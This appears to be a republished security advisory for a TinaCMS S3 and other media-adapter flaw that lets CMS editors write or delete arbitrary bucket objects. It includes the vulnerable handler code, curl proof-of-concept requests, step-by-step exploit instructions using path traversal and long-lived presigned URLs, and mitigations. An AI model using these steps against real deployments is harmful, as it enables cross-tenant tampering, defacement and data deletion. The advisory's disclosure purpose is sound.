Listen to this Post
The production media handler in next-tinacms-s3 allows an attacker to control the S3 object key via the `?key=` query parameter, returning a presigned PUT URL without validating the key against the configured mediaRoot. The DELETE handler similarly takes an attacker-controlled key from the URL path and deletes it without restriction. Any authorized CMS editor can write or delete any object in the S3 bucket, bypassing the intended `mediaRoot` boundary. This design flaw is replicated across all first-party media adapters: next-tinacms-dos, next-tinacms-azure, and next-tinacms-cloudinary.
DailyCVE Form:
Platform: TinaCMS
Version: 21.0.3
Vulnerability: CWE-639
Severity: Critical
date: 2026-08-20
Prediction: 2026-09-15
What Undercode Say:
Exhibit A: Generate presigned PUT URL for arbitrary bucket key curl 'http://localhost:3000/api/s3/media?key=index.html' Exhibit B: Cross-tenant write via attacker-chosen key curl 'http://localhost:3000/api/s3/media?key=tenant-victim/posts/announcement.mdx' Exhibit C: Arbitrary-key DELETE via [...media] route curl -X DELETE 'http://localhost:3000/api/s3/media/anything/tenant-victim%2Fposts%2Fannouncement.mdx' Exhibit D: Attacker-controlled ?expiresIn (7-day validity) curl 'http://localhost:3000/api/s3/media?key=index.html&expiresIn=604800'
// Vulnerable code snippet from packages/next-tinacms-s3/src/handlers.ts
export const createMediaHandler = (config: S3Config) => {
return async (req: NextApiRequest, res: NextApiResponse) => {
const isAuthorized = await config.authorized(req, res);
if (!isAuthorized) return res.status(401).json({ message: 'unauthorized' });
switch (req.method) {
case 'GET':
if (req.query.key) {
const s3_key = req.query.key; // Attacker-controlled
const signedUrl = await getUploadUrl(bucket, s3_key, expiresIn, client);
return res.json({ signedUrl });
}
break;
case 'DELETE':
const [, objectKey] = req.query.media; // Attacker-controlled
await client.send(new DeleteObjectCommand({ Bucket: bucket, Key: objectKey }));
break;
}
};
};
Exploit: (Educational Purposes!)
- Intercept a media upload request to the TinaCMS API endpoint.
- Modify the `key` query parameter to point to any S3 object key outside
mediaRoot, e.g., `?key=../../sensitive-file.txt` or?key=tenant-victim/data.json. - The server returns a presigned PUT URL for that key. Use `curl -X PUT –upload-file payload.html
` to write arbitrary content. - For deletion, send a DELETE request to
/api/s3/media/anything/../../target-key; the server deletes the target object. - Extend the validity of the signed URL by setting `expiresIn=604800` to keep the primitive active for 7 days.
Protection:
- Validate that `s3_key` starts with `mediaRoot` before generating any presigned URL.
- Apply the same prefix check to the DELETE path’s
objectKey. - Cap `expiresIn` to a safe maximum (e.g., 3600 seconds) and reject values above it.
- Use IAM policies to restrict the S3 role to only the intended `mediaRoot` prefix, rather than relying on application logic.
- For Azure, implement a `mediaRoot` configuration and enforce it on all operations.
- For Cloudinary, sanitize the `directory` parameter to prevent search-expression injection and validate `public_id` against allowed prefixes.
Impact:
- Full S3 bucket write/delete access for any authorized CMS editor, bypassing `mediaRoot` boundaries.
- Cross-tenant data tampering in shared-bucket deployments (TinaCloud).
- Stored XSS and site defacement via arbitrary HTML/JS uploads.
- Arbitrary deletion of any object in the bucket, including non-media assets.
- Long-lived write primitives (up to 7 days) that persist beyond session revocation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

